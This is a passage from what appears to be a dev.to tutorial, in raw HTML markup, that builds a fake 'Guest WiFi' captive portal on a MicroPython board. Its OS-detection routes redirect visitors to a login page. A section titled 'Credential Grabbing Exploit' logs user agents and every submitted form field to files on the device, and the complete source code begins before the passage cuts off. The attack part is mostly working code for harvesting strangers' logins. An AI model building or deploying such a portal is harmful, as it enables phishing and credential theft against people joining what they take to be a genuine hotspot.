  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the site looks like a proper portal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftdwrydfe7i6osysziojn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftdwrydfe7i6osysziojn.png" width="398" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Client-Specific Routes
&lt;/h2&gt;

&lt;p&gt;Each client device - Android phones, iPhones, Windows/Linux/OsX laptops, require specific URL paths and expects a specific status code to "negotiate" with the captive portal.&lt;/p&gt;

&lt;p&gt;According to the original article that provided the idea, and the &lt;a href="https://en.wikipedia.org/wiki/Captive_portal#Detection" rel="noopener noreferrer"&gt;Wikipedia page&lt;/a&gt;, the following rules need to be kept:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OsX: &lt;code&gt;/hotspot-detect.html&lt;/code&gt; with the plain text content "Success"&lt;/li&gt;
&lt;li&gt;Android: &lt;code&gt;/generate_204&lt;/code&gt; with status code 204 and no content&lt;/li&gt;
&lt;li&gt;Windows: &lt;code&gt;/redirect&lt;/code&gt; with no content, and two routes that are accessed to test if the connected hotspot is a captive portal: &lt;code&gt;/connecttest.txt&lt;/code&gt; with the plain text content "Microsoft Connect Test", and &lt;code&gt;/ncsi.txt&lt;/code&gt; with "Microsoft NCSI" to cover current and past Windows versions,&lt;/li&gt;
&lt;li&gt;Linux: For gnome-based desktops &lt;code&gt;/check_network_status.txt&lt;/code&gt; with the plain text message "NetworkManager is online", and for KDE that’s &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;OK&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During tryout with Android and OsX, I found that returning the mentioned text content is not important, the presence of the route is sufficient. Also, browsers might request additional routes, for example a Firefox browser tries to resolve &lt;code&gt;/canonical.html&lt;/code&gt;. However, if this route is not present, it also does not interfere with the portal workflow process.&lt;/p&gt;

&lt;p&gt;Therefore, to implement the captive portal functions, a redirect to the portal landing page is implemented for the main routes, and other routes jus return a positive status code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hotspot-detect.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/generate_204&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/redirect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/check_network_status.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/ncsi.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/connecttest.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Credential Grabbing Exploit
&lt;/h2&gt;

&lt;p&gt;With all aspects implemented, the final part is to add the information stealing exploit. The device shall create logfiles containing the request user agent, and another file that stores the filled in form data.&lt;/p&gt;

&lt;p&gt;First, the method to create a logfile is implemented. In the current MicroPython version, it is not possible to open a file and append text to it. Therefore, a new logfile will be created, with its timestamp as the filename. The following method prints its message and all key-value pairs of the provided &lt;code&gt;dict&lt;/code&gt; object. Also note the explicit &lt;code&gt;sleep&lt;/code&gt; commands - I had some cases where files would not be created properly, waiting between opening and closing helped.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;())])&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user-agent will be grabbed whenever one of the hotspot routes is accessed. Add a function call off &lt;code&gt;log_to_file&lt;/code&gt; as shown in the following.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ...
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hotspot&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;302&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;#...
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;connect_test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The login form requires all fields to be filled out, and then makes a &lt;code&gt;POST&lt;/code&gt; request. Inside the corresponding handler function, the form data will be logged, and then a simple HTML page rendered.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Login Data &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTML code for the success page is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1.0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;{{ title }}&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Thank you for registering. You are connected to the WiFi.&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bring the hotspot online, and after some time, the logfiles will pile up.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvmsvzf8vyn7lpym637e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvmsvzf8vyn7lpym637e.png" width="672" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The files are stored on the device itself. For remote access, a secret route, password protected, could be implemented, but I will leave this as an exercise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Complete Source Code
&lt;/h2&gt;

&lt;p&gt;Here is the complete handler source code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;access_point&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dns&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;

&lt;span class="n"&gt;SSID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;www/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;log/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;DOMAIN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hot.spot.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/hotspot-detect.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/generate_204&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/redirect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
